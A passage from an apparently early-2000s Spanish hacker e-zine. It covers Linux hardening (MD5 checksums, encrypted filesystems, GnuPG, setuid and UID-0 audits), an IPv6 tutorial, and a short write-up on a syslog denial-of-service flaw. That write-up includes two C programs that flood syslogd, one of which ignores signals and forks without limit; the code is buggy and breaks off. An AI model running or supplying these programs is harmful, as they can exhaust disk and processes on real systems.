sido cambiado o sigue siendo el original digase que si alguien consigue entrar
en nuestra maquina y consigue meter un troyano en forma de cierta programa
nos seria dificil darnos cuenta pero por medio del MD5 con solo hacer una tabla
con todos los programas y despues la comparamos ;) . Y si algo falla ya sabes
a recompilar aunque la solucion mas usada es usar CFS y que todos los binarios
o la mayoria esten en un Cd-Rom y cada cierto tiempo ir cambiando este Cd-Rom
por versiones mas nuevas total pa lo que vale un CD. Aunque no hay que llegar
a casos tan extremos. Bueno decir que el MD5 taba basado en el MD4 y este a su
vez en el crc32 creo.
Ahora explicare su uso :
lepton:/bin # echo "trycky dice hola" > mirame
lepton:/bin # md5sum * > md5_lista
lepton:/bin # md5sum -c md5_lista
Con lo que ahora ya tenemos un fichero con todos los cheksum creados falta ver
si de verdad funciona por lo que haremos lo siguiente .
lepton:/bin # echo "trycky dice holo" > mirame
lepton:/bin # md5sum -c md5_lista | grep FAILED
mirame: FAILED
md5sum: WARNING: 1 of 86 computed checksums did NOT match
Como vemos es funciona y de buena manera , yo creo ha quedado bien claro el
uso del MD5 de todas formas a lo mejor me dejo algo en el tintero pero si eso
na mas que me deis un toque al mail y me contais las penas .
ftp donde esta el MD5 :
ftp://ftp.cerias.purdue.edu/pub/tools/unix/crypto/md5
Para mas info del MD5 : RFC 1321
-=( CFS )=-
El CFS sistema de ficheros criptografico al castellano seria un programa
que trabajaria sobre el sistema de archivos sin necesidad de altearar el
nucleo del Linux . La criptografia que usa el CFS es un tipo de DES modificao.
Con el CFS podriamos tener encriptados todo un directorio y ser claramente
mas seguro en contra podriamos decir que se puede hacer algo pesado pero su
uso es mu seguro en servidores mereceze la pena por que nos podriamos proteger
de posibles archivos modificados como troyanos en forma de su,mount,etc. Otra
cosa es llevarlo todo con MD5 y ver viendo si concuerdan .Para que el CFS
puedad trabajar necesitamos tener instalado el portmapper dado que usa el RPC
y habra que añadir otras lineas que si las quereis saber leeros el how-to
dado que en el se explica todo detalladamente . Solo he querido dar una idea
de lo que es el CFS .
ftp://ftp.mathematik.th-darmstadt.de/pub/linux/okir
-=( TCFS )=-
TCFS que significa "Transparent Crypthografic file system" es una utilidad para
linux no toy seguro si hay para otros sistemas ( la razon de el por que el TCFS
es solo para linux es debido a que se usa atraves del sistema operativo al
contrario que el CFS por ejemplo que no hay que parchear el servidor si no que
simplemente es un programa que se pone entre el sistemas de archivos y el
kernel ) , que sirve para cifrar datos de programas que usen la red es decir
NFS por ejemplo , dado que el NFS manda todos los datos en modo texto sin
cifrar y claramente no es mu seguro el TCFS guarda el texto cifrado y cuando
va a ser leido lo descifra por lo que todo el trabajo es realizado por la
makina cliente , pues debido a esto tendremos que tener trabajando en el
servidor el demonio "xattrd" y despues en cada maquina cliente deberemos de
añadir un password para cada usario que dese exportar directorio NFS y esto
se hace por "tcfsgenkey" , que genera una clave y la encripta usando DES y ya
tras esto nos identificamos por medio de "tcfslogin" y le pasara el password
al kernel y para borrar el password nada mas que ejecutemos "tcfslogout" .
http://
-=( PGP )=-
Bueno ahora explicare como crear un llave publica con el GnuPG supongo que
todo el mundo sabe lo que es el PGP (Pretty Good Privacy) aunque nosotros nos
vamos a usar GnuPG que es compatible con el estandard OpenPGP y ademas no tiene
restricciones . El PGP se basa en le sistema de llave publica y privada si no
sabeis lo que hay muchos docs que lo explican ;) . Yo me remitire a usar el
GnuPG . Lo primero sera generar nuestra llave .
lepton:~ # gpg --gen-key
Con esto y tras unas preguntas mu simplonas se nos habra generado nuestras
llaves .
lepton:~ # gpg -a --export -o archivo.asc
Al ejecutar esto habremos exportado nuestra llave publica para que el resto
de la gente pueda encriptar mensajes , etc . Y solo nosotros podremos desen-
cryptarlos eso quedaba claro xD .
Ahora cuando recivamos un mail encryptado por ejemp existen ya multitud de
programas que no lo desencriptarian al vuelo un claro ejemplo es el Kmail
aunque tambien tenemos un modulo pal queridismo emacs que se llama 'mew' tmb
hay algunos programas para llevar el control de todas las llaves publicas
como puede ser KpgpKeys , gpgp . Que es mas comodo que tener que ir viendolas
con :
lepton:~ # gpg --list-key
www.gnupg.org
RFC : OpenPGP
-=( 8 )=--=( Comprobaciones tipicas )=-
Pues por ejemplo si tenemos una makina en la cual han conseguido entrar o lo
que sea o simplemente eres paranoico total pos es simple lo primero seria
comprobar que todos los programas con set-suid por que casi todo el mundo
cuando gana root en una makina se dedica a meter copias de la bash o programas
que la llamen con la set-suid activada , si el admin no es muy espabilado vale
pero otras veces hay que currarselo mas por eso estoy haciendo otro documento
muy interesante volviendo al asunto . Si queremos buscar todos los ficheros con
setduis activadas seria con :
lepton:~/Administracion # cat > suids.sh ; chmod +x suids.sh
#!/bin/bash
if [ -f "suid.txt" ]; then
cp suid.txt suid_old.txt
fi
find / -perm 4000 >> suid.txt
find / -perm 4700 >> suid.txt
find / -perm 4777 >> suid.txt
find / -perm 4770 >> suid.txt
find / -perm 4755 >> suid.txt
find / -perm 4750 >> suid.txt
find / -perm 4751 >> suid.txt
find / -perm 4500 >> suid.txt
find / -perm 4555 >> suid.txt
find / -perm 4550 >> suid.txt
find / -perm 4551 >> suid.txt
lepton:~/Administracion #
Y de ahi podemos o comparar con otra lista de set-suids anteriores y ver que
diferencia hay.
Por ejemplo :
Otra cosa es mu comun añadir en el archivo de password una entrada con la linea
de la uid en 0 con lo que se conoraria como root nas mas meter el passwd a
veces no le ponen ni password xD .
Para buscar entradas con UID o GUID 0 :
Lepton:/etc # cat passwd | grep -n :0:
Ahora algunas comprobacions por si usamos alguna utilidad de la familia rlogin
no taria mal ir viendo como anda el .rhost de vez en cuando :
lepton:~/Administracion # find /home /root -name .rhosts -print
lepton:~/Administracion # find /home /root -name .rhosts -exec grep "+ +" {} \;
Pero de todas formas no os recomiendo usar el rhost , Si quereis tener una red
medianamente segura lo mejor es no confiar en ninguna maquina .
Por cierto estoy programando una coleccion de scripts que automatizan todas
estas tareas haber si me da tiempo y lo meto todo ;) .
Y como ya explique el MD5 pos os vais comprobando cada cierto tiempo pero tmp
es plan de montarse una fortaleza.
Otra cosa que tambien viene bien hacer es ocultar la version de los daemons
por ejemplo si tenemos un Proftpd a quien le interesa la version que esta
ejecutandose en mi maquina ;) hay que tener en cuenta que muchos escanners de
rede como el Nessus por ejemplo si ocultas la version se desorienta rapidamente
por lo que nada mas teneis que bajaros el Codigo Fuente del programa y
recompilar veamos un ejemplo para buscar la cadena del version .
Tenemos el source de un apache 1.3.12 y queremos saber donde esta esactamente
la linena que indica el numero de version pos nada mas que hacer esto :
lepton:/usr/tmp/apache # find -name "*.[ch]" -exec grep -n -H 1.3.12 {} \;
./src/include/httpd.h:430:#define SERVER_BASEVERSION "Apache 1.3.12"
Te aparaceran mas lineas pero las e omitido por simplemente con ir y cambiar
esa linea por otra que os guste mas ;) .
Yo tengo puesto :
#define SERVER_BASEVERSION "IIS 2.0"
Pero no os lo recomiendo por que se os llenara de script kiddies teniendo la
ayuda de dios de haber si os consiguen entrar. Aunque yo nunca e visto un
iis 2.0 pero bueno. (Para los que no lo sepais el IIS es el servidor web de
Microsoft si el del faño del unicode y que tantos scripts kiddies han visto la
gloria y la luz divina , gracias a el xD )
Otra cosa es al instalar modulos al apache estaticamente os cambian tambien
la version si compilas el Apache + PHP , te cambiara la version tonces o con
un editor hexadecimal tambien lo puedes cambiar o vueleves a compilar .
Tambien si quereis podeis usar programas de chekeo como el nessus pero ten
en cuenta una cosa siempre intenta borrar la version del daemon por que la
mayoria de los chequeos se basa en eso en comprobar la version.
Ya que toy de suerte comentar que los rpm instalados nunca conviene instalarlos
por ejemplo la version 6.x de la SuSE si mal no recuerdo traia una linea mal
en httpd.conf . En ves de usar "ScriptAlias" para la redireccion de un
directorio para ejecutar los cgis usaba "Alias" y con eso traia el consiguiente
error de poder leer los Cgi's que se encontrasen en el direcotrio "cgi-bin".
Para mas info : www.apache.org
-=( 9 )=--=( Quien nos ataca )=-
Que NOS ATAKAN!!! digase con entonacion de los personajes de south park :) .
En este capitulo explicare como saber si nos estando escaneando o si nos estan
haciendo algun tipo de atake de los ya explicados antes el smurf por ejemplo
este nos dariamos cuenta rapidamente . Pero hay otros que son mas dificiles de
averiguar un scan de puertos , etc. Tambien esta bien tener controlado por una
terminal el tcp_wrapers para saber quien hay que cada momento . Voy a explicar
algunos programas y como se podria detectar . Bueno ante todo que no cunda la
el panico si nos damos cuenta de que nos estana scaneando los puertos esto
seria algo normal es costumbre que la gente del irc con su mas que magnifico
y esplendido script de Windows incluya algun utilidad pa scanear .
Primero esta el tcpdump un poco vasto para el uso que le vamos a dar pero
bueno el tcpdump va volcando en pantalla todo lo que le va llegando a traves
del interfaz que tu le digas por ejemplo si quieres listar el loopback pon
poner esto bastara :
trycky@Lepton:~ > tcpdump -i lo
Nos dara un listado muy grande por ejemplo para ataques smurf se da cuenta uno
rapidamente por la cantidad de paketes que va uno reciviendo pero si nos estan
scaneando los puertos ia es mas dificil por que dependiendo del tipo de scan
son mas finos que otros .
trycky@Lepton:~ > tcpdump -aqtm -i lo
Ahora lo que nos muestra se menor debido a que nos mostrara la hora y menos
cosillas . Para mas informacion man tcpdump .
Otra herramienta tambien util para saber si nos estan escaneando podria ser
sacnlogd que nos puede advertir de varios tipos de scan ( syn , connect ).
Otra cosa mu interesante es si tenemos un firewall activo (ipchais) le podemos
añadir la flag "-l" y tonces nos logeara todos los intentos de dicha regla .
Para los windozeros no estais del todo perdios tambien teneis formas de saber
quien hay en vuestra maquina y todas las conexiones pendientes , con que si
no hiba a ser con el netstat pero no confundamos este es una mierda comparado
con el de linux :) pero nos da el pego .
Por ejemp si queremos q este todo el rato viendo las conexiones de la makina
lo pondremos con :
netstat -a
Aunque otra buena opcion es pasarle la flag '-l' al ipchains para que nos loge
cualquier tipo accion en esa regla del firewall .
Aunque sigue habiendo multitud de herramientas para saber si nos estan
haciendo algun tipo de ataque o de scan :
portsentry , ippl , iptraf ( Un monitor de Red ) , logit , iplog ...
A veces estas herramientas muestran demasiada informacion y es algo pesado por
lo que tendreis que configurarlas . Si en cambio quereis un scaner que suelte
mucha infomarcion y bien organizado todo usar el "ethereal" .
Si usais el WindowMaker hay un boton mu simpatico que nos dice en todo momento
quien hay conectado a ciertos servicios de nuestra maquina el wminet buscarlo
por que ahora no tengo la url exacta .
Si compilais el Kernel con lids trae una opcion para poder logear los intentos
de scaneo.
-=( 10 )=--=( Pachanga Script Admin )=-
Pachanga Script Admin es una coleccion de scripts creados por mi para el buen
funcionamiento de la makina xD osea son un par de scripts to cutres que buscan
algunas advertencias ya conocidas e algunos faños importantes todavia llevo mu
poco pero no creo que haga mucho mas .
Por lo que llevo ahora se buscan ficheros con setsuids se comparan , se crea
una lista con md5 y se compara al cierto tiempo por si te han colado algun
troyano , etc .
URL : 7a69ezine.org
-=( 11 )=--=( Parches para el Kernel )=-
Parches para el kernel : existen ciertos parches que nos pueden ayudar a
mantener la seguridad del sistema el parche que voy a explicar escrito por
solar designer el creador del tito jhony , etc . Este parche lo que hace es
poder evitar los buffer stack overflows que consisten en sobrepasar la pila
y poder inyectar un codigo que nos lleve a donde queramos la "shellcode" .
Bueno lo que hace es desbordar el buffer da igual si por medio del standard
stack overflow o por medio de la nueva oleada de print formats , etc. Esta
explicacion es un poco cutre pero sirve para definir si no buscar algun doc
que ya hay muchos escritos por lo demas el parche trae mas protecciones como
es prohibir los enlazes simbolicos en "/tmp" entre otras medidas que explica
en su README . Bueno supongo que sabreis compilar el kernel a un a si se hace
de la siguiente forma :
lepton:/usr/src/linux # patch -p1 -E < linux-2.2.17-ow1.diff
Y despues a la hora de compilacion del kernel tendreis nuevas opciones de
seguridad las elegies y volveis a compilar .
openwall.org
Tambien se encuentra el parche "lids" que lo que hace es que ciertos
directorios y ficheros sean accesibles para un usario por lo que nos podriamos
evitar un xploit al httpd como explica el doc por que al ganar una cuenta no
tendriamos ningun permiso por que realmente el directorio donde este el httpd
"/usr/local/apache" solo seria visible para el usario httpd o el que designado
y las paginas de los usarios solo se podrian actualizar por medio del webadmin
pero cuidado que este programa contiene algun que otro faño en sus versiones
anteriores. Bueno esto es solo un ejemp de lo que se puede hacer con lids y
tmb decir que hace poco salio un gran faño para el kernel 2.2.16 que usase
lids que permitia escribir y leer ficheros en los cuales no tenias permisos .
El uso de lids es algo mas complejo por lo que es mejor que os lo bajeis de
internet y lo compiles con la ayuda que trae.
http://www.lids.org
-=( 12 )=--=( Enlaces interesantes )=-
www.nessus.org : Pagina de un programa de chekeo de seguridad .
www.freashmeat.org : Pagina donde podras encontrar programas y actualizaciones.
www.linuxapps.com : Del estilo de www.freashmeat.org .
www.kernelnotes.org : Para estar al dia del Kernel x) .
www.hert.org : Como el cert pero a lo hacker ta mu bien la page .
www.cert.org : Pagina con abudante info a lo legal claro .
www.opensec.net : Pagina con abundantes herramientas de seguridad .
www.openwall.org : Pagina con bastantes cosas interesantes de seguridad .
www.barrapunto.com : Pagina de la actualidad de linux tipo sladshot .
www.bsdtoday.org : Pagina de noticias de BSD sobre to de Open mu buena .
securify.packetstorm.org : Pagina de Seguridad con multitud de cositas x) .
rexgrep.tripod.com : Pagina donde podremos bajar un programa para controlar el
total de procesos por usario y evitar fork bomb xD .
/usr/src/linux/Documentation : Pa que quereis mas .
7a69ezine.org : Publicidad gratis aqui xD .
*EOF*
/-----------------------------------------------------------------------\
|-[ 10 ]----[ IPv6, la nueva generacion de IP. ]----[ Medio/Alto]-------|
\--------------------------------------------------------------[ Ripe ]-/
Cuando se diseño el protocolo IP no se tuvo en cuenta se conectarian entre
si LAN's, WAN's.... creando una internet immensa conocida como Internet
(notese la "I" mayuscula ), lo que hace que la version actual de IP (la
version 4) no sea la mas adecuada para este entorno, ya que limita el
numero maximo de hosts conectados a %%% ademas de dificultar los usos de
IP fija y de conexion permanente, por ello la IETF (Internet Engineering
Task Force) estudio la posiblidad de mejorar el direccionamiento apliando
el tamaño de las direcciones IP de 32 bits a 128 bits, lo que premite un
mayor numero de hosts conectados (%%%). Nacio el proyecto IPv6 (tambien
llamda IP de siguiente generacion). Una descripcion rapida de la nueva
generacion de IP (que aun esta en desaroyo) podria ser la siguiente.
-Mayor numero de direcciones, pues amplia de 32 bits a 128 bits el tamaño
de las direcciones.
-Permiete dividir la direccion IP en 16 octeros (en IPv4 se dividian en
4) y facilitar el enrutamiento con una estructura gerarquica comparable a
la numeracion de los numero de telefono.
-Simplicidad de la cabecera basica, ampliable gracias a unas cabeceras de
extension (gran idea si señor).
-Permite adaptarse a los requerimientos de una tranmision (datos de
fichero, videoconferencia....).
-Mejora la seguridad a nivel de IP (autentificacion, confidencialidad,
integridad de datos....).
-Permite el tranporte de protocolos poco usuales.
-Adquiere muchas mejoras a la hora de localizar routers fuera de
servicio, inalcanzables....
NOTA: ¡Buaaaa! Cuanta mejora.... ¿Como se las habran apañado?
Lo primero que vamos a ver es el direccionamiento. Las direcciones en IPv6
constan de 16 octeros, y se representa con ocho numeros hexadecimales
separados por dos puntos ":". Son direcciones validas las siguientes:
41B3:0301:A349:0:0:D567:F5F6:AD49
9AFD:0:0:0FDA:98D4:F45E:EE56:65F3
Como se puede ver es una forma algo fea, pero es lo que hay.
Es posible simplificar un poco la representacion de las direcciones IP en
IPv6, si se encuentran varios 0's consecutivos, estos pueden ser
substituidos por "::", por lo que las dos IP's anteriores nos quedaerian:
41B3:0301:A349::D567:F5F6:AD49
9AFD::0FDA:98D4:F45E:EE56:65F3
Pero esto solo es posible hacerlo una vez por IP, es decir que si tenemos
4C56:0:0:0:3D98:0:0:67D1, podemos simplificarla como 4C56::3D98:0:0:67D1
o como 4C56:0:0:0:3D98::67D1, pero nunca como 4C56::3D98::67D1, pues seria
imposible deducir la cantidad de zeros que se hallan en cada "::".
Es posible mediante una IP de la version 6 hacer referencia a una IP de la
version 4, para ello usaremos ::FFFF:<ip en version4>, por ejemplo la IP
194.63.2.12, se representaria en IPv6 como ::FFFF:194.63.2.12.
A diferencia de la version actual de IP, IPv6 tratara de realizar una
estructura gerarquica de la numeracion, para ello la IANA se ha puesto
manos la obra para delegar trozos del espacio de las direcciones IP para
realizaf funciones y/o identificar organicaciones regionales. De momentoi
se posee la siguiente tabla que asigna funciones mediante los primeros
bits de la direccion IP (los llamado prefijos de formato, pues depende de
ello como esta estructurado el resto de la direccion IP).
0000 0000 Reservado
0000 0001 No asignado
0000 001 Para asignacion de NSAP
0000 010 Para asignacion de IPX
0000 011 No asignado
0000 1 No asignado
0001 No asignado
001 No asignado
010 Direcciones unienvio para proveedores ;)
011 No asignado
100 Direcciones unienvio geograficas
101 No asignado
110 No asignado
1110 No asignado
1111 0 No asignado
1111 10 No asignado
1111 110 No asignado
1111 1110 0 No asignado
1111 1110 10 Direcciones de uso por enlace local
1111 1110 11 Direcciones de uso local
1111 1111 Multienvio
Vamos ahora a ver como se completarian las direcciones IP de algunos de
los tipos que hemos visto en esta tabla....
Empezaremos con las direcciones unienvio para proveedores (prefijo
010). Para este tipo se usa una estructura muy simple pero al mismo tiempo
muy efectiva, es la siguiente
010 - ID registro - ID proveedor - ID cliente - En el cliente
No hay tamaño fijo para cada uno de estos campos, pero su efectividad
recae en la facilidad de enrutar el trafico, pues basta con comparar la
ID con las entradas en la tabla de enrrutado y.... errutar (¿eruptar?) ;)
Vamos a ver ahora las direcciones de enlace local (prefijo 1111 1110 10),
que tambien son muy simples.
1111 1110 10 - Relleno(00..) - Direccion unica del enlace
Donde la direccion unica del enlace podria ser la MAC adress de la maquina
de un LAN.
Que simple ¿no? xD
¿Y como seran entonces las direcciones para uso local? (prefijo 1111 1110
11) A ver.... :P
1111 1110 11 - Relleno(00..) - ID subred - Direccion unica del enlace
Vaya... sigue sin complicarse demasiado.... :)
Para terminar veamos como funcionan los formatos de las direcciones de
multienvio (prefijo 1111 1111).
1111 1111 - 000x - Ambito - ID grupo
¡Ostia! se nos ha complicado.... ¿que es todo esto?
Como se puede ver el multienvio en IPv6 esta mucho mas elavorado que el de
IPv4, pues mediante el bit "x" podemos indicar si la direccion de
multienvio es permanente (si vale 0) o es temporal (si vale 1), ademas
mediante el ambito, que ocupa 4 bits, podemos indicar lo siguiente:
0 Reservado
1 Ambito local al nodo
2 Ambito local al enlace
3 No asignado
4 No asignado
5 Ambito local al lugar
6 No asignado
8 Ambito local a la organizacion
9 No asignado
A No asignado
B No asignado
C No asignado
D No asignado
E Ambito global
F Reservado
Ya sabemos como funcionan un poco las direcciones IPv6, pero ¿y las
direcciones especiales? ¿como es la tipia 127.0.0.1 en IPv6? Pues al igual
que en la version 4, en la 6 tambien hay direcciones especiales, las
nombro simplemente (no creo que necesiten explicacion).
0:0:0:0:0:0:0:0 Direccion sin especificar (cuando un
sistema aun no conoce su direccion IP)
0:0:0:0:0:0:0:1 Clasico loopback (loop.... ke? xD)
0:0:0:0:FFFF:a.b.c.d IPv4
Visto ya el direccinamiento pasemos al analisi de la cabecera de IPv6,
veremos que tiene multiples mejoras a la cabezera de la version 4 de IP,
veamos.
***************************[ Cabecera de IPv6 ]***************************
-------------------------------------------------------------
| Ver. | Prior. | Etiqueta de flujo |
-------------------------------------------------------------
| Tamaño carga util | Sig Cabecera | TTL |
-------------------------------------------------------------
| Direccion IP de origen |
| |
-------------------------------------------------------------
| Direccion IP de destino |
| |
-------------------------------------------------------------
**************************************************************************
Como podeis ver vuelve a destacar la simplicidad, una cabecera mil veces
mas simple que la de IPv4, pero no menos potente y/o util, pues permite
extensiones, veremos como, pero antes comentare un poco cada unos de los
campos de la cabecera :)
1.-VERSION (4 bits): Creo que no necesita explicacion... :->
2.-PRIORIDAD (4 bits): Si un router se ve obligado a descartar un paquete
descartara el que tenga menos prioridad.
3.-ETIQUETA DE FLUJO (24 bits): Indica si el paquete necesita algun
tratamiento especial.
4.-TAMAÑO CARGA UTIL (16 bits): Indica el tamaño de la parte del paquete
que sigue a la cabecera inicial de IP.
5.-CABECERA SIGUIENTE (8 bits): Indica la cabecera que sigue a la actual,
sea una extension de IP o la de otro
protocolo.
6.-TTL: Cada vez que el paquete pasa por un router el valor del TTL se
decrementa, si este llega a 0 el paquete es descartado.
7.-DIRECCION IP DE ORIGEN (128 bits): Hu....?¿
8.-DIRECCION IP DE DESTINO (128 bits): Mmm.....?¿
Bueno con todo esto mas o menos claro vamos a ver como funcionan las
extensiones de cabeceras en esta version de IP.... El campo "cabecera
siguiente" es muy comparable al campo "protocolo" de IPv4, pues si este
tiene el valor 6 la cabecera siguiente sera la de TCP, y si tiene el valor
17 la de UDP, pero ahora ademas puede servir para extender IP y añadir
funciones como fragmentacion (seguro que os estavais preguntando ¿y la
fragmentacion? :P), encaminamiento, autentificacion, bla bla bla xD Veamos
los valores que puede tomar para extension de cabeceras, mas adelante
veremos el formato de las extensiones :)
0 Opciones de salto a salto
43 Encaminamiento
44 Fragmentacion
50 Encapsulado seguro de la carga util
51 Autentificacion
59 Sin mas cabeceras
Bueno veamos ahora cada una de estas extensiones.... ¿por cual
empezamos? hummmm, Opciones de salto a salto, venga.
Las cabeceras de opcion de salto a salto llevan informacion de ciertas
opciones que deben ser analizadas en cada uno de los hosts de la ruta,
veamos como es esta extenxion
**************[ Extension "Opciones de salro a salto" ]*******************
-------------------------------------------------------------
| Sig Cabecera | Tam. extension| |
-------------------------------- |
| Opciociones |
-------------------------------------------------------------
***************************************************************************
1.-SIGUIENTE CABECERA (8 bits): Pues eso, la cabecera siguiente.
2.-TAMAÑO EXTENSION (8 bits): Supongo que indica el tamaño del campo
opciones, pero no lo puedo asegurar :P
3.-OPCIONES (? bits): este campo es de tamaño variable, y contiene una
entrada del tipo...
[tipo][tamaño][valor opcion]
...por cada opcion, tanto el campo "tipo" como el
campo "tamaño" ocupan 8 bits, al campo valor de
"valor de opcion" varia su tamaño dependiendo del
valor del campo "tamaño"
La extension de la cabecera de encaminamiento posee un campo tipo que
permitira realizar diferentes tareas el futuro (digo en el futuro porque
de momento solo se ha definido el valor 0, el cual tiene una semejanza con
la ruta de origen de IPv4).
********************[ Extension "Encaminamiento" ]************************
-------------------------------------------------------------
| Sig Cabecera | Tam direccion| Tipo | Seg perdidos|
-------------------------------------------------------------
| Reservado | Mascara de bits estricta/desconectada |
-------------------------------------------------------------
| Direccion 1 |
| |
-------------------------------------------------------------
| Direccion 2 |
| |
-------------------------------------------------------------
| Direccion 3 |
| |
-------------------------------------------------------------
| ....... |
| |
-------------------------------------------------------------
| Direccion n |
| |
-------------------------------------------------------------
***************************************************************************
1.-SIGUIENTE CABECERA (8 bits): Lo mismo de siempre.
2.-TAMAÑO DIRECCION (8 bits): Indica el tamaño de toda la parte de
direccion.
3.-TIPO (8 bits): De momento siempre vale 0.... ya veremos que se hace en
un futuro.
4.-MASCARA DE BITS (24 bits): Indicara si el salto corresponde a un vecino
(en cuyo caso seria estricta) o no es
necesario que lo sea (en cuyo caso seria
desconectada).
5.-DIRECCIONES (128*dirs bits): Indica cada uno de los saltos definidos,
el ultimo salto debe coincidir con el host
de destino.
Una de las cosas mas importantes que tenia la version 4 de IP era sin duda
la fragmentacion. Pues esta en IPv6 ha sufrido alguna que otra variacion,
de entrada un paquete solo podra ser fragmentado por el nodo de
origen. ¡Vaya! ¿Y que pasa si un router recibe un paquete demasiado
grande? Pues que lo descarta directamente y genera un ICMP hacia el host
de origen del paquete fragmentado indicando el tamaño que deberia tener el
paquete para que este pueda mandarlo por donde debe.
Asi pues, por defecto un paquete no se fragmenta. Veamos como es la
extencion de cabecera que se encarga de la fragmentacion.
*********************[ Extension "Fragmentacion" ]************************
-------------------------------------------------------------
| Sig cabecera | Reservado | Despl. de fragmento | Res | +|
-------------------------------------------------------------
| Identificador de fragmento |
-------------------------------------------------------------
**************************************************************************
1.-SIGUIENTE CABECERA (8 bits): ¡Dios! que pesados se estan poniendo :P
2.-DESPLAZAMIENTO DE FRAGMENTO (13 bits): Indica el desplazamiento del
fragmento dentro del paquete
original.
3.-BIT MAS [+] (1 bit): Indica si es el ultimo fragmento, o si hay mas
fragmentos detras.
4.-IDENTIFICADOR DE FRAGMENTO (32 bits): Todos los fragmentos de un mismo
paquete original tendran el mismo
valor, sirve para que el host de
destino sepa cuales son los
fragmentos que debe reagrupar.
Bueno vistas todas las extensiones, vamos a ver un paquete de
ejemplo... queda algo cutre ya lo se.
*********************[ Un paquete TCP/IP con IPv6 ]***********************
-------------------------------------------------------------
| 6 | 6 | 0 |
-------------------------------------------------------------
| Tamaño carga util(*) | 44 | 10 |
-------------------------------------------------------------
| A435:B308:9823:AAF4:B452:0D45:0:5DA4 |
| |
-------------------------------------------------------------
| 0A23:65B2:D4E1:0:FE04:6963:A54A:FF28 |
| |
-------------------------------------------------------------
| 6 | Reservado | 1024 | Res | 0|
-------------------------------------------------------------
| 3289 |
-------------------------------------------------------------
| 1099 | 23 |
-------------------------------------------------------------
| 1678 |
-------------------------------------------------------------
| 3421 |
-------------------------------------------------------------
|Tam cab.(*)| Reserv| 011000 | 4000 |
-------------------------------------------------------------
| Suma de control(*) | 0 |
-------------------------------------------------------------
| |
| DATOS |
| |
-------------------------------------------------------------
(*) El relleno de este campo te lo dejo a ti anda :)
*****************************************************************************
Como puedes ver, se trata del ultimo fragmento de un paquete fragmentado
que corresponde a una conexion telnet, y que ocupa la posicion 1024 en el
paquete original. Gracias a las flags de la cabecera TCP podemos deducir
que la conexion ya se ha establecido.... :)
Si dispones de una red trabajando con IPv6 (no es mi caso) y quieres
dedicarte a la experimentacion y programacion de aplicaciones con IPv6, es
bueno saber que dispones de <netinet/ip6.h>, en el que estan definidas las
structuras correspondientes a las cabeceras que hemos visto.
Thz por la lectura.
*EOF*
/----------------------------------------------------------------------------\
|-[ 10 ]----[ Cortos ]----[ Variado ]----------------------------------------|
\-----------------------------------------------------------------[ Varios ]-/
Inaguramos seccion en 7a69ezine. En "Cortos" incluiremos aquellos articulos
que debido a su pequeño tamaño no puedan ser incluidos en el indice general.
Apartir de ahora las curiosidades que se encontraban en la seccion
"Noticias/Curiosidades" las encontrareis aqui :)
Contenido:
1. Syslog SuSE & Other Trycky Bajo
2. Syslog jode aun mas Ripe Bajo
3. Un comando remoto Ripe Bajo
4. Usando un bouncer PAC-MAC Muy Bajo
5. BitchX-Scripting tuxisuau Bajo
6. ProFTPd DoS Jet-Li Medio
-------------------------------------------------------------------------------
--{ 01 }---{ Syslog SuSE & Other }---------------------------------------------
-------------------------------------------------------------------{ Trycky }--
-=( TryckY )=--=( Syslog SuSE & Other )=--=( )=-
-=( 01 )=- Explicacion del fallo .
-=( 02 )=- Forma de Parcherse .
-=( 03 )=- Contactar .
No se si este tipo de "fallo" esta ya documentado por lo que si ya habia
sido advertido este error no vendrar mal recordarlo por que es demasiada
gente a las que es vulnerable y que de todas formas no es mu dificil de
hacer. Aunque esto dos tambien va a depender del ordenador q tenga uno no
es lo mismo un 120 Mhz 16 Ram que un todo poderoso 600 Mhz 128 Ram .
-=( 01 )=- Explicacion del fallo .
Voy a comentar un fallo que ocurre en las Distribuiciones de linux (probadas
por mi) posiblemente por defecto esto ocurre con la funcion syslog o
directamente desde el programa logger. Estos programas envian a al demonio del
Syslogd una cadena de caracteres como si fuera un printf de los diferentes
tipos de mensajes de advertencia que existen (kern,authpriv,warn,...) debido a
esto podriamos colapsar el sistema por mala configuracion si tenemos posesion
de una linea de este estilo en el "/etc/syslogd.conf" :
*.* /dev/tty8 ; En verdad si tenemos esta linea sera lo mismo pero jodera aun
mas xD .
Con esta linea todos los mensajes serian enviados a la terminal 8 y creando
un fichero de "/var/log/messages" muy grande ocasionando perdida de Disco
Duro y una nefasta organizacion de los logs del sistema aparte de que el los
logs tienen que ser de unico uso del root . Por lo que con un programa simple
podriamos ir generando mucha basura hacia la terminal 8 del sistema y llenanado
el "/var/log/messages" :
<++> syslog_gujero.c
#include <stdio.h>
#include <syslog.h>
char buffer[24000];
void main() {
int i,b;
for(b=1; b<=10000000; b++){
for (i=0; i<=24000; i++)
buffer[i]='H';
syslog(LOG_ERR, buffer);
printf("Y seguimos con esto %i",b);
}
}
<-->
Tras algo de informacion nos damos cuenta que en la libreria "syslog.h" hace
mencion al "/dev/log" :
#define _PATH_LOG "/dev/log"
Y tras dirigirnos a este archivo nos damos cuenta de otro grave compromiso de
seguridad (tmp tanto pero hay que exagerar) :
trycky@Lepton:~ > ls -l /dev/log
srw-rw-rw- 1 root root 0 Jun 28 21:51 /dev/log
Andale pero mira que permisos tan restringidos uff buenos que estas cosas a
veces nos salvan la vida :) .Nos damos cuenta de que en las distribuiciones hay
tantas cosas por defecto que es aterrador utilizarlo de servidor sin antes
darle un ojeazo de ultima hora . Y mas si estamos por el IRC y damos shells tan
contentos .
Pero la cosa no quedo a qui he hize un programa que hacia lo de antes pero este
se ponia en modo background e iva lanzando muchas peticiones al syslog :
<++> syslog_jode.c
/*****************************************************************************/
/* by trycky 2000 . syslog_jode , trycky_83@mixmail.com */
/* */
/* to compile : are you sure ? */
/* */
/*****************************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <syslog.h>
#define MIRALOQUEDISE "Io soy mu vago por no leer ..."
#define ALERTAROJA "Mensaca desde el kernel q nus caemos !!!"
void jodemos ();
char buffer[24000];
int i,b;
int hijo_pua;
main()
{
signal (SIGINT,SIG_IGN);
signal (SIGHUP,SIG_IGN);
signal (SIGTERM,SIG_IGN);
signal (SIGSTOP,SIG_IGN);
printf(" by trycky 2000 . syslog_fuck , trycky_83@mixmail.com \n");
for(b=0;b<=99999;b++){
buffer[b]='A';
}
if (fork()) exit(0);
for(;;){
hijo_pua=fork();
if(!hijo_pua){
jodemos();
}
}
}
}
void jodemos() {
for (i=0; i<=28000; i++){
syslog(LOG_ERR, buffer);
syslog(LOG_USER, MIRALOQUEDISE);
syslog(LOG_EMERG, ALERTAROJA);
